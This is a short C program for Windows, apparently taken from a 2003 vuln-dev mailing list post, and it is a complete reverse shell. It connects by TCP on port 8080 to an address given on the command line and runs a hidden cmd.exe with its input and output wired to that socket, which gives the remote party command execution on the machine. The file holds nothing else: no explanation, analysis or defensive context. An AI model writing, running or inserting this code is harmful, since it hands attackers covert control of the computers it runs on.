//http://cert.uni-stuttgart.de/archive/vuln-dev/2003/02/threads.html#00005
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")

int main(int argc, char* argv[]){

 WSADATA wd;
 HANDLE h;
 SOCKET sock;
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 struct sockaddr_in sin;
 int size = sizeof(sin);
if (argc < 2)
return 0;

 memset(&sin, 0, sizeof(sin));
 memset(&si, 0, sizeof(si));
 WSAStartup(MAKEWORD(2,0), &wd);
 sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); 
 sin.sin_family = AF_INET;
 sin.sin_port = htons(8080);
 sin.sin_addr.s_addr = inet_addr(argv[1]);
 bind(sock, (struct sockaddr*)&sin, size);
 connect(sock, (struct sockaddr*)&sin, size);
 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESTDHANDLES;
 si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
 CreateProcess(
        NULL,
        "cmd.exe",
        NULL,
        NULL,
	  true,
        IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
 );
 return 0;
} 
